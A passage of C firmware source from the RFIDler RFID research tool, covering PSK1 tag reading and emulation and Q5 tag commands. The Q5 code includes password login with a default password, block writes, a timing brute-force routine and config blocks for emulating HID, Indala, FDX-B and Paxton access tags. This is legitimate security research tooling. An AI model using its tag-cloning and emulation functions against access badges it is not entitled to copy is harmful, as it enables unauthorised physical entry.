hextobinarray(tmp2, tmp3);
// encode for em4x02
bin_to_em4x02_bin(paxton, tmp2);
return TRUE;
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/psk.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
// psk functions
// PSK1 - Phase change signals bit value change
#include "HardwareProfile.h"
#include "rfidler.h"
#include "psk.h"
#include "emulate.h"
#include "USB/usb.h"
#include "clock.h"
// high level routines
// read a PSK1 bitstream and find start of data
//
// parameters:
//
// period_us - clock period in uS
// ticks - clock periods per bit
// data - buffer for final data [no. of bits])
// bits - no. of bits to read (always specify in bits, not bytes)
// leadin - no. of leading '0' bits
// bytes - if set, return data as bytes, otherwise bits
// timeout_us - timeout in uS, 0 for blocking
// min_pulse_us - mininum pulse width from external reader for 'good' read. 0 for read anything.
//
// return:
//
// data will be filled with one byte per bit (value 0x00 or 0x01)
// return will be 0 if leadin not found, or no. of BITS read
// specify oneshot if data is not repeated (i.e. in response to a command rather than a cycling UID)
unsigned int read_psk1_data(unsigned int period_us, unsigned int ticks, BYTE *data, unsigned int bits, unsigned char *sync, unsigned char syncbits, unsigned int timeout_us, unsigned int min_pulse_us, BOOL oneshot, BYTE format)
{
unsigned int i= 0, j;
BYTE found= 0, inverted= 0, repeat;
if(oneshot)
repeat= 1;
else
repeat= 2;
// if we're not doing a 1-shot read, we can grab double the data to allow for sync search
read_PSK1_HW_clock(period_us, ticks, TmpBits, bits * repeat, timeout_us, min_pulse_us);
if(FakeRead)
return 0;
// reset timer
if(timeout_us)
GetTimer_us(RESET);
// wait for semaphore to tell us read has finished
while(mLED_Read == mLED_ON)
if(timeout_us)
if (GetTimer_us(NO_RESET) > timeout_us)
return 0;
if(PSK_Read_Error)
return 0;
// find start of data
while(syncbits)
{
for(i= j= found= 0 ; i < bits * repeat ; ++i)
{
if(TmpBits[i] == getbit(sync[j / 8], 7 - (j % 8)))
++j;
else
{
i -= j;
j= 0;
}
if(j == syncbits)
{
found= 1;
break;
}
}
// point at start of sync
i -= syncbits - 1;
if(found)
break;
if(inverted)
return 0;
// with PSK we have no way of knowing if 1st bit was a 0 or 1, so invert data and try again
inverted= 1;
for(i= 0 ; i < bits * repeat ; ++i)
TmpBits[i] ^= 1;
}
// copy to output buffer
switch(format)
{
case HEX:
return binarraytohex(data, TmpBits + i, bits);
case BINARY:
default:
memcpy(data, TmpBits + i, bits);
data[bits]= '\0';
return bits;
}
}
BOOL send_psk1_hex(unsigned char *data, unsigned int pulsewidth, unsigned int tpb, unsigned int c0, unsigned int repeat)
{
unsigned int length;
BYTE tmp[256];
if(!(length= hextobinarray(tmp, data)))
return FALSE;
return send_psk1_bin(tmp, length, pulsewidth, tpb, c0, repeat);
}
BOOL send_psk1_bin(unsigned char *data, unsigned int length, unsigned int pulsewidth, unsigned int tpb, unsigned int c0, unsigned int repeat)
{
BYTE tmp[512];
// manchester encoding with PSK is not done in the baseband, so pre-encode
if(RFIDlerConfig.Manchester)
length= manchester_encode(tmp, data, length);
else
memcpy(tmp, data, length);
tmp[length]= '*';
write_PSK1_HW_clock(pulsewidth, tmp, tpb, c0, repeat);
return TRUE;
}
// low level write routines
// h/w clock PSK emulator - initialise data pointers for ISR and start timer 2
// args: clock period, data as array of 0/1, fc per bit, sub-carrier ticks, repeat
void write_PSK1_HW_clock(unsigned int period, BYTE *data, unsigned int fcpb, unsigned int c0, unsigned int repeat)
{
// convert to ticks
period= CONVERT_TO_TICKS(period);
// for psk we want a full clock cycle, not a tick
period *= 2;
// point globals at data for ISR
EMU_ThisBit= *data;
EMU_Data= data + 1;
EMU_Reset_Data= data;
EMU_DataBitRate= fcpb;
EMU_SubCarrier_T0= c0;
EMU_Repeat= repeat;
// set mode
EmulationMode= MOD_MODE_PSK1;
// make sure no clock is running
stop_HW_clock();
// make sure nobody's using our timers
CloseTimer3();
// tri-state on, clock low
READER_CLOCK_ENABLE_ON();
CLOCK_COIL= LOW;
// emulator mode
COIL_MODE_EMULATOR();
// this is also a semaphore so the rest of the code knows we're running
mLED_Emulate_On();
// start timer - ISR will send data
OpenTimer3( T3_ON | T3_PS_1_1 | T3_SOURCE_INT, period / 2L - 1L);
mT3SetIntPriority(6);
mT3ClearIntFlag();
mT3IntEnable(TRUE);
}
// low level read routines
// h/w clock reader - initialise data pointers for ISR and start timers
// timer2 creates clock output for external reader
// timer4 reads data bit values
// period_us == clock for reader
// ticks == clock periods per bit
// bits == number of bits to read
// min_pulse_us == minimum external reader pulswidth for a 'good' read, 0 for read 'anything'
void read_PSK1_HW_clock(unsigned int period, unsigned int ticks, BYTE *data, unsigned int bits, unsigned int timeout_us, unsigned int min_pulse_us)
{
// point globals at data for ISR
EMU_Data= data;
HW_Bits= bits;
PSK_Min_Pulse= min_pulse_us;
PSK_Read_Error= FALSE;
memset(EMU_Data, '\0', bits);
// stop USB interfering
USBMaskInterrupts();
// start clock if not already running
if(!mGetLED_Clock() == mLED_ON)
{
InitHWReaderClock(OC_TOGGLE_PULSE, period / 2L, period, RWD_STATE_ACTIVE);
// give reader time to wake up and settle
Delay_us((RFIDlerConfig.FrameClock * RFIDlerConfig.RWD_Wake_Period) / 100);
}
// reset timer for timeout
GetTimer_us(RESET);
// align ourselves to reader's bit period by finding start of a pulse
while(READER_DATA)
if(timeout_us)
if (GetTimer_us(NO_RESET) > timeout_us)
return;
while(!READER_DATA)
if(timeout_us)
if (GetTimer_us(NO_RESET) > timeout_us)
return;
// reset timer for external timeouts
GetTimer_us(RESET);
// start ISR to read PSK data
InitHWReaderISR(CONVERT_TO_TICKS(period) * ticks - 1L, TRUE);
}
BOOL psk1_raw_get_uid(BYTE *response)
{
unsigned int i;
BYTE tmp[MAXUID + 1];
BOOL blank= TRUE;
memset(tmp, '0', MAXUID);
tmp[MAXUID]= '\0';
if(!read_psk1_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, RFIDlerConfig.DataBits, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, RFIDlerConfig.PSK_Quality, FALSE, HEX) == RFIDlerConfig.DataBits)
return FALSE;
for(i= 0 ; i < strlen(tmp) ; ++i)
if(tmp[i] != '0')
blank= FALSE;
if(blank)
return FALSE;
strcpy(response, tmp);
return TRUE;
}
// resturn interpreted UID
BOOL psk1_raw_hex_to_uid(BYTE *response, BYTE *hex)
{
if(!strlen(hex))
return FALSE;
strcpy(response, hex);
return TRUE;
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/q5.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include "HardwareProfile.h"
#include "rfidler.h"
#include "q5.h"
#include "ask.h"
#include "rwd.h"
#include "util.h"
#include "comms.h"
#include "config.h"
const BYTE *Q5_Modulation[]= {"Manchester", "PSK1", "PSK2", "PSK3", "FSK1", "FSK2", "Biphase", "NRZ/Direct"};
const BYTE PSK_Rates[]= {2, 4, 8, 8};
// q5 needs special timings etc., so have a master send command routine to keep things simple
// response length in bits
BOOL q5_send_command(BYTE *response, BYTE *command, BYTE length, BOOL reset, BOOL sync, BYTE response_length)
{
// send command
if(!rwd_send(command, length, reset, BLOCK, RWD_STATE_START_SEND, RFIDlerConfig.FrameClock, Q5_START_GAP - RFIDlerConfig.RWD_Gap_Period, 0, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX))
return FALSE;
if(!response_length)
return TRUE;
// wait for Q5 damping to kick in: q5 may create a false pulse during RWD receipt, so wait for it to recognise
// command and shut down before trying to read response.
GetTimer_us(RESET);
while(READER_DATA)
if(GetTimer_us(NO_RESET) > RFIDlerConfig.Timeout)
return FALSE;
// skip leading '0'
HW_Skip_Bits= 2; // 2 primitive 'bits' manchester encoded
// DEBUG_PIN_4= !DEBUG_PIN_4;
// DEBUG_PIN_4= !DEBUG_PIN_4;
if(read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, response, response_length, RFIDlerConfig.Sync, sync ? RFIDlerConfig.SyncBits : 0, RFIDlerConfig.Timeout, ONESHOT_READ, HEX) == response_length)
{
// delay for RX->TX time
Delay_us((RFIDlerConfig.FrameClock * RFIDlerConfig.RWD_Wait_Switch_RX_TX) / 100);
return TRUE;
}
return FALSE;
}
// get raw UID
BOOL q5_get_uid(BYTE *response)
{
BYTE tmp[17]; // 16 hex digits
// q5 will be stuck if last command was a read or write, so always hard reset
stop_HW_clock();
// delay for sleep period
Delay_us((RFIDlerConfig.FrameClock * RFIDlerConfig.RWD_Sleep_Period) / 100);
// delay for startup time
//Delay_us((RFIDlerConfig.FrameClock * RFIDlerConfig.RWD_Wake_Period) / 100);
// q5 has fixed em4x02 style data in page 1
if(q5_send_command(tmp, Q5_GET_TRACE_DATA, strlen(Q5_GET_TRACE_DATA), NO_RESET, SYNC, 64))
{
strcpy(response, tmp);
return TRUE;
}
return FALSE;
}
// convert raw 64 bit HEX UID to 10 digit human readable hex
BOOL q5_hex_to_uid(BYTE *response, BYTE *hex)
{
// q5 is the same as em4x02
return em4x02_hex_to_uid(response, hex);
}
BOOL q5_read_block(BYTE *response, BYTE block)
{
BYTE tmp[39], retry, reset= FALSE;
if(block > Q5_DATABLOCKS - 1)
return FALSE;
// create 6 or 38 bit command block: Q5_DIRECT_ACCESS + PWD_Mode + [PWD] + 3 bits address
memset(tmp, '\0', 39);
memcpy(tmp, Q5_DIRECT_ACCESS, 2);
if(PWD_Mode)
{
hextobinstring(tmp + 2, Password);
tmp[34]= '0';
inttobinstring(tmp + 35, (unsigned int) block, 3);
}
else
{
tmp[2]= '0';
inttobinstring(tmp + 3, (unsigned int) block, 3);
}
retry= RFIDlerConfig.Repeat;
while(retry--)
{
//DEBUG_PIN_4= !DEBUG_PIN_4;
//DEBUG_PIN_4= !DEBUG_PIN_4;
if(q5_send_command(response, tmp, strlen(tmp), reset, NO_SYNC, 32))
return TRUE;
}
return FALSE;
}
// optional verify as writing config block may casue next read to fail
BOOL q5_write_block(BYTE block, BYTE *data, BOOL lock, BOOL verify)
{
BYTE tmp[71], p;
if(block > Q5_DATABLOCKS - 1)
return FALSE;
// create 38 or 70 bit command block: Q5_STD_WRITE_P0 + [PWD] + Lock Bit + 32 bits Data + 3 bits address
memset(tmp, '\0', sizeof(tmp));
// command
memcpy(tmp, Q5_WRITE_P0, 2);
p= 2;
// password
if(PWD_Mode)
{
hextobinstring(tmp + p, Password);
p += 32;
}
// lockbit
inttobinstring(tmp + p, (unsigned int) lock, 1);
++p;
// data
hextobinstring(tmp + p, data);
p += Q5_BLOCKSIZE;
// address
inttobinstring(tmp + p, (unsigned int) block, 3);
p += 3;
// send
if(!q5_send_command(NULL, tmp, strlen(tmp), NO_RESET, NO_SYNC, 0))
return FALSE;
// no ack, so read back and verify
// delay for long enough to allow write plus TX->RX period
Delay_us((Q5_WRITE_DELAY * RFIDlerConfig.FrameClock + RFIDlerConfig.RWD_Wait_Switch_TX_RX * RFIDlerConfig.FrameClock) / 100L);
if(!verify)
return TRUE;
if(!q5_read_block(tmp, block))
return FALSE;
if(memcmp(tmp, data, HEXDIGITS(Q5_BLOCKSIZE)) != 0)
return FALSE;
return TRUE;
}
// set password and mode, and return UID
BOOL q5_login(BYTE *response, BYTE *pass)
{
BYTE tmp[36];
// check we need password - if we can get UID without, then we don't
if(q5_get_uid(tmp))
return FALSE;
if(strlen(pass) == 0)
pass= Q5_DEFAULT_PWD;
memcpy(tmp, Q5_AOR, 2);
hextobinstring(tmp + 2, pass);
tmp[34]= '\0';
// send password
if (!q5_send_command(NULL, tmp, strlen(tmp), NO_RESET, NO_SYNC, 0))
return FALSE;
// see if we can now get UID
if(!q5_get_uid(tmp))
return FALSE;
PWD_Mode= TRUE;
strcpy(Password, pass);
strcpy(response, pass);
return TRUE;
}
// try to find values that correctly transmit all commands to q5
// to test this properly, q5 should have invalid data in it's data blocks
// so that only a GET_TRACE_DATA command will return a true value
BOOL q5_rwd_test(BYTE *pattern)
{
BYTE gap, one, zero, tmp[Q5_BLOCKSIZE + 1];
BOOL found= FALSE, blank;
// min/max from datasheets
for(one= 48 ; one <= 63 ; ++one)
for(zero= 16; zero <= 31 ; ++zero)
for(gap= 10 ; gap <= 50 ; ++gap)
{
RFIDlerConfig.Manchester= TRUE;
blank= TRUE;
if(get_user_abort())
return found;
RFIDlerConfig.RWD_Gap_Period= gap;
RFIDlerConfig.RWD_One_Period= one;
RFIDlerConfig.RWD_Zero_Period= zero;
// reset tag
get_tag_uid(tmp);
// try to switch off modulation
rwd_send(Q5_MODULATION_DEFEAT, strlen(Q5_MODULATION_DEFEAT), NO_RESET, BLOCK, RWD_STATE_START_SEND, RFIDlerConfig.FrameClock, RFIDlerConfig.RWD_Gap_Period, 0, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX);
// read a block with no sync & no manchester - will be all '0' if not modulating
RFIDlerConfig.Manchester= FALSE;
if(read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, RFIDlerConfig.DataBits, RFIDlerConfig.Sync, 0, RFIDlerConfig.Timeout, NO_ONESHOT_READ, HEX) == RFIDlerConfig.DataBits)
{
if(strcmp(tmp, "0000000000000000") != 0)
blank= FALSE;
RFIDlerConfig.Manchester= TRUE;
if(blank && get_tag_uid(tmp) && q5_read_block(tmp, 0))
{
UserMessageNum("\r\nFound tag with gap %d", gap);
UserMessageNum(" one %d", one);
UserMessageNum(" zero %d", zero);
found= TRUE;
}
}
}
UserMessage("%s", "\r\n");
return found;
}
BOOL q5_config_block_show(BYTE *config, BYTE *password)
{
uint32_t value= hextoulong(config);
UserMessage(" Config Block (0): %.8s\r\n\r\n", config);
UserMessage(" Page Select: %s\r\n", GET_CONFIG(value, Q5_MASK_PAGE_SELECT, Q5_SHIFT_PAGE_SELECT) ? "True" : "False");
UserMessage(" Fast Write: %s\r\n", GET_CONFIG(value, Q5_MASK_FAST_WRITE, Q5_SHIFT_FAST_WRITE) ? "True" : "False");
UserMessageNum(" Data Rate: %02d = ", GET_CONFIG(value, Q5_MASK_DATA_BIT_RATE, Q5_SHIFT_DATA_BIT_RATE));
UserMessageNum("%d * FC\r\n", GET_CONFIG(value, Q5_MASK_DATA_BIT_RATE, Q5_SHIFT_DATA_BIT_RATE) * 2 + 2);
UserMessage(" Use AOR: %s\r\n", GET_CONFIG(value, Q5_MASK_USE_AOR, Q5_SHIFT_USE_AOR) ? "True" : "False");
UserMessage(" Use PWD: %s\r\n", GET_CONFIG(value, Q5_MASK_USE_PWD, Q5_SHIFT_USE_PWD) ? "True" : "False");
UserMessageNum(" PSK Carrier: %d = ", GET_CONFIG(value, Q5_MASK_PSK_CARRIER_FREQ, Q5_SHIFT_PSK_CARRIER_FREQ));
UserMessageNum("%d * FC\r\n", PSK_Rates[GET_CONFIG(value, Q5_MASK_PSK_CARRIER_FREQ, Q5_SHIFT_PSK_CARRIER_FREQ)]);
UserMessage(" Inverse Data: %s\r\n", GET_CONFIG(value, Q5_MASK_INVERSE_DATA, Q5_SHIFT_INVERSE_DATA) ? "True" : "False");
UserMessageNum(" Modulation: %d = ", GET_CONFIG(value, Q5_MASK_MODULATION, Q5_SHIFT_MODULATION));
UserMessage("%s\r\n", (BYTE *) Q5_Modulation[GET_CONFIG(value, Q5_MASK_MODULATION, Q5_SHIFT_MODULATION)]);
UserMessageNum(" Max Block: %d\r\n", GET_CONFIG(value, Q5_MASK_MAX_BLOCK, Q5_SHIFT_MAX_BLOCK));
UserMessage(" ST: %s\r\n", GET_CONFIG(value, Q5_MASK_ST, Q5_SHIFT_ST) ? "True" : "False");
UserMessage("\r\n PWD Block (7): %.8s ", password);
printhexreadable(password, 4);
UserMessage("%s", "\r\n");
return TRUE;
}
// create a config block based on current tag settings
BOOL q5_create_config_block(BYTE *config)
{
uint32_t value= hextoulong(config);
BYTE tmp;
// data rate
value= SET_CONFIG(value, Q5_MASK_DATA_BIT_RATE, Q5_SHIFT_DATA_BIT_RATE, (RFIDlerConfig.DataRate - 2) / 2);
// psk sub-carrier
if((tmp= RFIDlerConfig.DataRateSub0))
{
if(tmp == 2)
tmp= 0;
else
if (tmp == 4)
tmp= 1;
else
tmp= 2;
value= SET_CONFIG(value, Q5_MASK_PSK_CARRIER_FREQ, Q5_SHIFT_PSK_CARRIER_FREQ, tmp);
}
// modulation
if(RFIDlerConfig.Manchester && RFIDlerConfig.Modulation == MOD_MODE_ASK_OOK)
tmp= Q5_MOD_MANCHESTER;
else
{
if(RFIDlerConfig.BiPhase && RFIDlerConfig.Modulation == MOD_MODE_ASK_OOK)
tmp= Q5_MOD_BIPHASE;
else
switch(RFIDlerConfig.Modulation)
{
case MOD_MODE_ASK_OOK:
tmp= Q5_MOD_DIRECT;
break;
case MOD_MODE_FSK1:
tmp= Q5_MOD_FSK1;
break;
case MOD_MODE_FSK2:
tmp= Q5_MOD_FSK2;
break;
case MOD_MODE_PSK1:
tmp= Q5_MOD_PSK1;
break;
case MOD_MODE_PSK2:
tmp= Q5_MOD_PSK2;
break;
case MOD_MODE_PSK3:
tmp= Q5_MOD_PSK3;
break;
default:
return FALSE;
}
}
value= SET_CONFIG(value, Q5_MASK_MODULATION, Q5_SHIFT_MODULATION, tmp);
// data blocks
value= SET_CONFIG(value, Q5_MASK_MAX_BLOCK, Q5_SHIFT_MAX_BLOCK, RFIDlerConfig.DataBits / Q5_BLOCKSIZE);
ulongtohex(config, value);
return TRUE;
}
// set a config block suitable for emulating
BOOL q5_emulate_config_block(BYTE *config, BYTE target_tagtype)
{
switch (target_tagtype)
{
case TAG_TYPE_ASK_RAW:
case TAG_TYPE_FSK1_RAW:
case TAG_TYPE_FSK2_RAW:
case TAG_TYPE_PSK1_RAW:
case TAG_TYPE_PSK2_RAW:
case TAG_TYPE_PSK3_RAW:
memcpy(config, Q5_DEFAULT_CONFIG_BLOCK, HEXDIGITS(Q5_BLOCKSIZE));
q5_create_config_block(config);
return TRUE;
case TAG_TYPE_AWID_26:
case TAG_TYPE_HID_26:
memcpy(config, Q5_HID_26_CONFIG_BLOCK, HEXDIGITS(Q5_BLOCKSIZE));
return TRUE;
case TAG_TYPE_FDXB:
memcpy(config, Q5_FDXB_CONFIG_BLOCK, HEXDIGITS(Q5_BLOCKSIZE));
return TRUE;
case TAG_TYPE_INDALA_64:
memcpy(config, Q5_INDALA_64_CONFIG_BLOCK, HEXDIGITS(Q5_BLOCKSIZE));
return TRUE;
case TAG_TYPE_INDALA_224:
memcpy(config, Q5_INDALA_224_CONFIG_BLOCK, HEXDIGITS(Q5_BLOCKSIZE));
return TRUE;
case TAG_TYPE_EM4X02:
case TAG_TYPE_Q5:
case TAG_TYPE_UNIQUE:
case TAG_TYPE_PAXTON:
memcpy(config, Q5_DEFAULT_CONFIG_BLOCK, HEXDIGITS(Q5_BLOCKSIZE));
return TRUE;
default:
return FALSE;
}
}
// decode externally sniffed PWM
BOOL q5_decode_pwm(unsigned int pulses[], unsigned int gaps[], unsigned int count)
{
unsigned int i;
BOOL decoded= FALSE, sequence;
static BOOL pwd= FALSE;
BYTE tmp[18], out[71], *p; // max response from q5 is 70 bits
i= 0;
while(i < count)
{
// we can't use generic_decode_pwm as Q5 commands may be all 0 or all 1
for(p= out, sequence= FALSE ; i < count ; ++i)
if(gaps[i] >= 100 && gaps[i] <= 512)
{
// make sure invalid data doesn't overrun buffer
if(p - out == sizeof(out) - 2)
break;
if(pulses[i] <= 512)
{
if(approx(pulses[i], 128, 20))
*(p++)= '0';
else
*(p++)= '1';
sequence= TRUE;
}
else
{
++i;
break;
}
}
*p= '\0';
if(sequence)
{
// there are only 7 message sizes, so decode accordingly
switch(strlen(out))
{
// GET Trace Data (UID)) or RESET
case 2:
if(memcmp(out, Q5_GET_TRACE_DATA, 2) == 0)
UserMessage("\r\n%s, GET_TRACE_DATA", out);
else
if(memcmp(out, Q5_SOFT_RESET, 2) == 0)
UserMessage("\r\n%s, RESET", out);
else
UserMessage("\r\n%s, ?INVALID?", out);
break;
// modulation defeat
case 5:
if(memcmp(out, Q5_MODULATION_DEFEAT, 5) == 0)
UserMessage("\r\n%s, MODULATION_DEFEAT", out);
else
UserMessage("\r\n%s, ?INVALID?", out);
break;
// read
case 6:
if(memcmp(out, Q5_DIRECT_ACCESS, 2) == 0)
